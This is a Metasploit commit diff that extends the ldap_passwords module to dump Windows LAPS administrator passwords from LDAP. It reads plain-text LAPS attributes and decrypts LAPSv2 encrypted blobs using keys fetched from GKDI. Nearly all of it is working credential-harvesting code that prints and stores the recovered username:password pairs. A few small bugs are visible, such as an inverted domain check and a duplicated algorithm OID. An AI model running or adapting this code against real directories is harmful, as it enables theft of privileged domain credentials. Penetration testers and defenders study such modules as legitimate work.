Skip to content

Commit 608ebf2

Browse files
committed
Add LAPS support to ldap_paswords
1 parent 02bb2e2 commit 608ebf2

File tree

2 files changed

+222
-19
lines changed

2 files changed

+222
-19
lines changed

lib/rex/proto/crypto_asn1/o_i_ds.rb

Lines changed: 9 additions & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -68,10 +68,18 @@ class OIDs
6868
OID_CMS_SIGNED_DATA = ObjectId.new('1.2.840.113549.1.7.2', name: 'OID_CMS_SIGNED_DATA', label: 'CMS Signed Data')
6969

7070
OID_DES_EDE3_CBC = ObjectId.new('1.2.840.113549.3.7', name: 'OID_DES_EDE_CBC', label: 'Triple DES encryption in CBC mode')
71-
OID_AES256_CBC = ObjectId.new('2.16.840.1.101.3.4.1.42', name: 'OID_AES256_CBC', label: 'AES256 in CBC mode')
7271
OID_RSA_ENCRYPTION = ObjectId.new('1.2.840.113549.1.1.1', name: 'OID_RSA_ENCRYPTION', label: 'RSA public key encryption')
7372
OID_RSAES_OAEP = ObjectId.new('1.2.840.113549.1.1.7', name: 'OID_RSAES_OAEP', label: 'RSA public key encryption with OAEP padding')
7473

74+
OID_AES256_CBC = ObjectId.new('2.16.840.1.101.3.4.1.42', name: 'OID_AES256_CBC', label: 'AES256 in CBC mode')
75+
# see: https://datatracker.ietf.org/doc/html/rfc5084#section-3
76+
OID_AES128_GCM = ObjectId.new('2.16.840.1.101.3.4.1.6', name: 'OID_AES128_GCM', label: 'AES128 in GCM mode')
77+
OID_AES128_CCM = ObjectId.new('2.16.840.1.101.3.4.1.7', name: 'OID_AES128_CCM', label: 'AES128 in CCM mode')
78+
OID_AES192_GCM = ObjectId.new('2.16.840.1.101.3.4.1.26', name: 'OID_AES192_GCM', label: 'AES192 in GCM mode')
79+
OID_AES192_CCM = ObjectId.new('2.16.840.1.101.3.4.1.27', name: 'OID_AES192_CCM', label: 'AES192 in CCM mode')
80+
OID_AES256_GCM = ObjectId.new('2.16.840.1.101.3.4.1.46', name: 'OID_AES256_GCM', label: 'AES256 in GCM mode')
81+
OID_AES256_CCM = ObjectId.new('2.16.840.1.101.3.4.1.47', name: 'OID_AES256_CCM', label: 'AES256 in CCM mode')
82+
7583
def self.name(value)
7684
value = ObjectId.new(value) if value.is_a?(String)
7785

modules/auxiliary/gather/ldap_passwords.rb

Lines changed: 213 additions & 18 deletions
Original file line numberDiff line numberDiff line change
@@ -3,63 +3,123 @@
33
# Current source: https://github.com/rapid7/metasploit-framework
44
##
55

6+
require 'rasn1'
7+
68
class MetasploitModule < Msf::Auxiliary
79

810
include Msf::Auxiliary::Scanner
911
include Msf::Auxiliary::Report
12+
include Msf::Exploit::Remote::MsGkdi
1013
include Msf::Exploit::Remote::LDAP
14+
include Msf::Exploit::Remote::LDAP::Queries
1115
include Msf::OptionalSession::LDAP
1216

1317
include Msf::Exploit::Deprecated
1418
moved_from 'auxiliary/gather/ldap_hashdump'
1519

16-
PASSWORD_ATTRIBUTES = %w[clearpassword mailuserpassword ms-mcs-admpwd password passwordhistory pwdhistory sambalmpassword sambantpassword userpassword userpkcs12]
20+
LDAP_CAP_ACTIVE_DIRECTORY_OID = '1.2.840.113556.1.4.800'.freeze
21+
PASSWORD_ATTRIBUTES = %w[clearpassword mailuserpassword mslaps-password mslaps-encryptedpassword ms-mcs-admpwd password passwordhistory pwdhistory sambalmpassword sambantpassword userpassword userpkcs12]
1722

1823
def initialize(info = {})
1924
super(
2025
update_info(
2126
info,
2227
'Name' => 'LDAP Password Disclosure',
2328
'Description' => %q{
24-
This module will gather passwords and password hashes from a target LDAP server via multiple techniques.
29+
This module will gather passwords and password hashes from a target LDAP server via multiple techniques
30+
including Windows LAPS.
2531
},
2632
'Author' => [
2733
'Spencer McIntyre', # LAPS updates
34+
'Thomas Seigneuret', # LAPS research
35+
'Tyler Booth', # LAPS research
2836
'Hynek Petrak' # Discovery, module
2937
],
3038
'References' => [
31-
['CVE', '2020-3952'],
32-
['URL', 'https://www.vmware.com/security/advisories/VMSA-2020-0006.html']
39+
['URL', 'https://blog.xpnsec.com/lapsv2-internals/'],
40+
['URL', 'https://github.com/fortra/impacket/blob/master/examples/GetLAPSPassword.py']
3341
],
3442
'DisclosureDate' => '2020-07-23',
3543
'License' => MSF_LICENSE,
36-
'Actions' => [
37-
['Dump', { 'Description' => 'Dump all LDAP data' }]
38-
],
39-
'DefaultAction' => 'Dump',
4044
'Notes' => {
4145
'Stability' => [CRASH_SAFE],
4246
'SideEffects' => [IOC_IN_LOGS],
43-
'Reliability' => []
47+
'Reliability' => [],
48+
'AKA' => ['GetLAPSPassword']
4449
}
4550
)
4651
)
4752

4853
register_options([
4954
OptInt.new('READ_TIMEOUT', [false, 'LDAP read timeout in seconds', 600]),
5055
OptString.new('BASE_DN', [false, 'LDAP base DN if you already have it']),
51-
OptString.new('USER_ATTR', [false, 'LDAP attribute(s), that contains username', '']),
56+
OptString.new('USER_ATTR', [false, 'LDAP attribute, that contains username', '']),
5257
OptString.new('PASS_ATTR', [
53-
false, 'Additional LDAP attribute(s) that contain password hashes',
58+
false, 'Additional LDAP attribute(s) that contain passwords and password hashes',
5459
''
5560
# Other potential candidates:
5661
# ipanthash, krbpwdhistory, krbmkey, unixUserPassword, krbprincipalkey, radiustunnelpassword, sambapasswordhistory
5762
])
5863
])
5964
end
6065

61-
def print_prefix
62-
"#{peer.ljust(21)} - "
66+
def session?
67+
defined?(:session) && session
68+
end
69+
70+
def get_ad_ds_domain_info(ldap)
71+
vprint_status('Checking if the target LDAP server is an Active Directory Domain Controller...')
72+
73+
root_dse = ldap.search(
74+
ignore_server_caps: true,
75+
base: '',
76+
scope: Net::LDAP::SearchScope_BaseObject,
77+
attributes: %i[configurationNamingContext supportedCapabilities supportedExtension]
78+
)&.first
79+
80+
unless root_dse[:supportedcapabilities].map(&:to_s).include?(LDAP_CAP_ACTIVE_DIRECTORY_OID)
81+
print_status('The target LDAP server is not an Active Directory Domain Controller.')
82+
return nil
83+
end
84+
85+
unless root_dse[:supportedextension].include?(Net::LDAP::WhoamiOid)
86+
print_status('The target LDAP server is not an Active Directory Domain Controller.')
87+
return nil
88+
end
89+
90+
print_status('The target LDAP server is an Active Directory Domain Controller.')
91+
92+
unless ldap.search(base: '', filter: '(objectClass=domain)').nil?
93+
# this *should* never happen unless we're tricked into connecting on a different port but if it does happen it
94+
# means we'll be getting information from more than one domain which breaks some core assumptions
95+
# see: https://learn.microsoft.com/en-us/previous-versions/windows/it-pro/windows-2000-server/cc978012(v=technet.10)
96+
fail_with(Msf::Module::Failure::NoTarget, 'The target LDAP server is a Global Catalog.')
97+
end
98+
99+
# our_domain, _, our_username = ldap.ldapwhoami.to_s.delete_prefix('u:').partition('\\')
100+
101+
target_domains = ldap.search(
102+
base: root_dse[:configurationnamingcontext].first.to_s,
103+
filter: "(&(objectCategory=crossref)(nETBIOSName=*)(nCName=#{ldap.base_dn}))"
104+
)
105+
unless target_domains.present?
106+
fail_with(Msf::Module::Failure::NotFound, 'The target LDAP server did not return its NETBIOS domain name.')
107+
end
108+
109+
unless target_domains.length == 1
110+
fail_with(Msf::Module::Failure::NotFound, "The target LDAP server returned #{target_domains.length} NETBIOS domain names.")
111+
end
112+
113+
target_domain = target_domains.first
114+
115+
{
116+
netbios_name: target_domain[:netbiosname].first.to_s,
117+
dns_name: target_domain[:dnsroot].first.to_s
118+
}
119+
end
120+
121+
def ad_domain?
122+
@ad_ds_domain_info.nil?
63123
end
64124

65125
# PoC using ldapsearch(1):
@@ -89,6 +149,8 @@ def run_host(_ip)
89149
vprint_status("Using the '#{datastore['USER_ATTR']}' attribute as the username")
90150
end
91151

152+
@ad_ds_domain_info = get_ad_ds_domain_info(ldap)
153+
92154
print_status("Searching base DN: #{base_dn}")
93155
entries_returned += ldap_search(ldap, base_dn, base: base_dn)
94156
end
@@ -106,10 +168,12 @@ def run_host(_ip)
106168
def ldap_search(ldap, base_dn, args)
107169
entries_returned = 0
108170
creds_found = 0
171+
# TODO: use a filter when we're targeting AD DS
109172
def_args = {
110-
base: '',
111173
return_result: false,
112-
attributes: %w[* + -]
174+
scope: Net::LDAP::SearchScope_WholeSubtree,
175+
# build a filter that searches for any object that contains at least one of the attributes we're interested in
176+
filter: "(|#{password_attributes.map { "(#{_1}=*)" }.join})"
113177
}
114178

115179
begin
@@ -142,6 +206,7 @@ def password_attributes
142206
attributes = PASSWORD_ATTRIBUTES.dup
143207
if datastore['PASS_ATTR'].present?
144208
attributes += datastore['PASS_ATTR'].split(/[,\s]+/).compact.reject(&:empty?).map(&:downcase)
209+
attributes.uniq!
145210
end
146211

147212
attributes
@@ -166,7 +231,7 @@ def decode_pwdhistory(hash)
166231

167232
def process_hash(entry, attr)
168233
creds_found = 0
169-
username = [datastore['USER_ATTR'], 'sAMAccountName', 'dn', 'cn'].map { entry[_1] }.reject(&:blank?).first.first
234+
username = [datastore['USER_ATTR'], 'sAMAccountName', 'uid', 'dn'].map { entry[_1] }.reject(&:blank?).first.first
170235

171236
entry[attr].each do |private_data|
172237
if attr == 'pwdhistory'
@@ -212,6 +277,7 @@ def process_hash(entry, attr)
212277
next if attr == 'sambapasswordhistory' && private_data =~ /^(0{64}|0{56})$/
213278

214279
jtr_format = nil
280+
annotation = ''
215281

216282
case attr
217283
when 'sambalmpassword'
@@ -233,6 +299,29 @@ def process_hash(entry, attr)
233299
# https://github.com/vmware/lightwave/blob/c4ad5a67eedfefe683357bc53e08836170528383/vmdir/thirdparty/heimdal/krb5-crypto/salt.c#L133-L175
234300
# In the meantime, dump the base64 encoded value.
235301
private_data = Base64.strict_encode64(private_data)
302+
when 'ms-mcs-admpwd'
303+
# LAPSv1 doesn't store the name of the local administrator anywhere in LDAP. It's technically configurable via Group Policy, but we'll assume it's 'Administrator'.
304+
username = 'Administrator'
305+
annotation = "(expires: #{convert_nt_timestamp_to_time_string(entry['ms-mcs-admpwdexpirationtime'].first.to_i)})" if entry['ms-mcs-admpwdexpirationtime'].present?
306+
when 'mslaps-password'
307+
begin
308+
lapsv2 = JSON.parse(private_data)
309+
rescue StandardError => e
310+
elog("Encountered an error while parsing LAPSv2 plain-text data for user '#{username}'.", error: e)
311+
print_error("Encountered an error while parsing LAPSv2 plain-text data for user '#{username}'.")
312+
next
313+
end
314+
315+
username = lapsv2['n']
316+
private_data = lapsv2['p']
317+
annotation = "(expires: #{convert_nt_timestamp_to_time_string(entry['mslaps-passwordexpirationtime'].first.to_i)})" if entry['mslaps-passwordexpirationtime'].present?
318+
when 'mslaps-encryptedpassword'
319+
lapsv2 = process_result_lapsv2_encrypted(entry)
320+
next if lapsv2.nil?
321+
322+
username = lapsv2['n']
323+
private_data = lapsv2['p']
324+
annotation = "(expires: #{convert_nt_timestamp_to_time_string(entry['mslaps-passwordexpirationtime'].first.to_i)})" if entry['mslaps-passwordexpirationtime'].present?
236325
when 'userpkcs12'
237326
# if we get non printable chars, encode into base64
238327
if (private_data =~ /[^[:print:]]/).nil?
@@ -270,8 +359,7 @@ def process_hash(entry, attr)
270359

271360
# highlight unresolved hashes
272361
jtr_format = '{crypt}' if private_data =~ /{crypt}/i
273-
274-
print_good("Credentials (#{jtr_format || 'password'}) found in #{attr}: #{username}:#{private_data}")
362+
print_good("Credentials (#{jtr_format.blank? ? 'password' : jtr_format}) found in #{attr}: #{username}:#{private_data} #{annotation}")
275363

276364
report_creds(username, private_data, jtr_format)
277365
creds_found += 1
@@ -300,7 +388,114 @@ def report_creds(username, private_data, jtr_format)
300388
username: username
301389
}.merge(service_data)
302390

391+
if @ad_ds_domain_info
392+
credential_data[:realm_key] = Metasploit::Model::Realm::Key::ACTIVE_DIRECTORY_DOMAIN
393+
credential_data[:realm_value] = @ad_ds_domain_info[:dns_name]
394+
end
395+
303396
cl = create_credential_and_login(credential_data)
304397
cl.respond_to?(:core_id) ? cl.core_id : nil
305398
end
399+
400+
def process_result_lapsv2_encrypted(result)
401+
if session?
402+
print_warning('Can not obtain LAPSv2 decryption keys when running with an existing session.')
403+
return
404+
end
405+
406+
encrypted_block = result['msLAPS-EncryptedPassword'].first
407+
408+
encrypted_blob = LAPSv2EncryptedPasswordBlob.read(encrypted_block)
409+
content_info = Rex::Proto::CryptoAsn1::Cms::ContentInfo.parse(encrypted_blob.buffer.pack('C*'))
410+
encrypted_data = encrypted_blob.buffer[content_info.to_der.bytesize...].pack('C*')
411+
enveloped_data = content_info.enveloped_data
412+
recipient_info = enveloped_data[:recipient_infos][0]
413+
kek_identifier = recipient_info[:kekri][:kekid]
414+
415+
key_identifier = kek_identifier[:key_identifier]
416+
key_identifier = GkdiGroupKeyIdentifier.read(key_identifier.value)
417+
418+
other_key_attribute = kek_identifier[:other]
419+
unless other_key_attribute[:key_attr_id].value == '1.3.6.1.4.1.311.74.1'
420+
vprint_error('msLAPS-EncryptedPassword parsing failed: Unexpected OtherKeyAttribute#key_attr_id OID.')
421+
return
422+
end
423+
424+
ms_key_attribute = MicrosoftKeyAttribute.parse(other_key_attribute[:key_attr].value)
425+
kv_pairs = ms_key_attribute[:content][:content][:content][:kv_pairs]
426+
sid = kv_pairs.value.find { |kv_pair| kv_pair[:name].value == 'SID' }[:value]&.value
427+
428+
sd = Rex::Proto::MsDtyp::MsDtypSecurityDescriptor.from_sddl_text(
429+
"O:SYG:SYD:(A;;CCDC;;;#{sid})(A;;DC;;;WD)",
430+
domain_sid: sid.rpartition('-').first
431+
)
432+
433+
if @gkdi_client.nil?
434+
@gkdi_client = connect_gkdi(username: datastore['LDAPUsername'], password: datastore['LDAPPassword'])
435+
end
436+
437+
begin
438+
kek = gkdi_get_kek(
439+
client: @gkdi_client,
440+
security_descriptor: sd,
441+
key_identifier: key_identifier
442+
)
443+
rescue StandardError => e
444+
elog('Failed to obtain the KEK from GKDI', error: e)
445+
print_error("Failed to obtain the KEK from GKDI: #{e.class} - #{e}")
446+
return nil
447+
end
448+
449+
algorithm_identifier = content_info.enveloped_data[:encrypted_content_info][:content_encryption_algorithm]
450+
algorithm_oid = Rex::Proto::CryptoAsn1::ObjectId.new(algorithm_identifier[:algorithm].value)
451+
unless [Rex::Proto::CryptoAsn1::OIDs::OID_AES256_GCM, Rex::Proto::CryptoAsn1::OIDs::OID_AES256_GCM].include?(algorithm_oid)
452+
vprint_error("msLAPS-EncryptedPassword parsing failed: Unexpected algorithm OID '#{algorithm_oid.value}'.")
453+
return
454+
end
455+
456+
iv = algorithm_identifier.gcm_parameters[:aes_nonce].value
457+
encrypted_key = recipient_info[:kekri][:encrypted_key].value
458+
459+
key = Rex::Crypto::KeyWrap::NIST_SP_800_38f.aes_unwrap(kek, encrypted_key)
460+
461+
cipher = OpenSSL::Cipher::AES.new(key.length * 8, :GCM)
462+
cipher.decrypt
463+
cipher.key = key
464+
cipher.iv_len = iv.length
465+
cipher.iv = iv
466+
cipher.auth_tag = encrypted_data[-16...]
467+
plaintext = cipher.update(encrypted_data[...-16]) + cipher.final
468+
JSON.parse(RubySMB::Field::Stringz16.read(plaintext).value)
469+
end
470+
471+
# https://blog.xpnsec.com/lapsv2-internals/#:~:text=msLAPS%2DEncryptedPassword%20attribute
472+
# https://learn.microsoft.com/en-us/openspecs/windows_protocols/ms-ada2/b6ea7b78-64da-48d3-87cb-2cff378e4597
473+
class LAPSv2EncryptedPasswordBlob < BinData::Record
474+
endian :little
475+
476+
file_time :timestamp
477+
uint32 :buffer_size
478+
uint32 :flags
479+
uint8_array :buffer, initial_length: :buffer_size
480+
end
481+
482+
class MicrosoftKeyAttribute < RASN1::Model
483+
class Sequence < RASN1::Model
484+
class KVPairs < RASN1::Model
485+
sequence :content, content: [
486+
utf8_string(:name),
487+
utf8_string(:value)
488+
]
489+
end
490+
491+
sequence :content, constructed: true, content: [
492+
sequence_of(:kv_pairs, KVPairs)
493+
]
494+
end
495+
496+
sequence :content, content: [
497+
objectid(:key_attr_id),
498+
model(:key_attr, Sequence)
499+
]
500+
end
306501
end

0 commit comments

Comments
 (0)